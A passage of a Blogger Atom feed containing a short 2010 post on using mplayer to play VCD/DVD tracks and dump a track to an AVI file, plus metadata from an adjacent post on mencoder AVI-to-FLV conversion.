title='mencoder convert AVI to FLV (Macromedia Flash) format example'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3908950497151195559</id><published>2010-11-09T18:22:00.000-08:00</published><updated>2011-02-22T08:01:03.707-08:00</updated><title type='text'>How to rip VCD/DVD using mplayer</title><content type='html'>In mplayer VCD or DVD tracks are represented as:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;vcd://&lt;track number=""&gt; or dvd://&lt;track number=""&gt;&lt;/track&gt;&lt;/track&gt;
&lt;/pre&gt;&lt;br /&gt;
For example, for playing the first track, use the command:&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;mplayer vcd://1
&lt;/pre&gt;To dump the video stream to a file instead of playing it, the following command is used:&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;mplayer -dumpstream vcd://3 -dumpfile vcd_3.avi
&lt;/pre&gt;The above command dumps the 3rd track in the vcd to file vcd_3.avi&lt;br /&gt;
&lt;br /&gt;
Later this can be converted to any format as required&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3908950497151195559?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3908950497151195559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/how-to-rip-vcddvd-using-mplayer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3908950497151195559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3908950497151195559'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/how-to-rip-vcddvd-using-mplayer.html' title='How to rip VCD/DVD using mplayer'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry></feed>
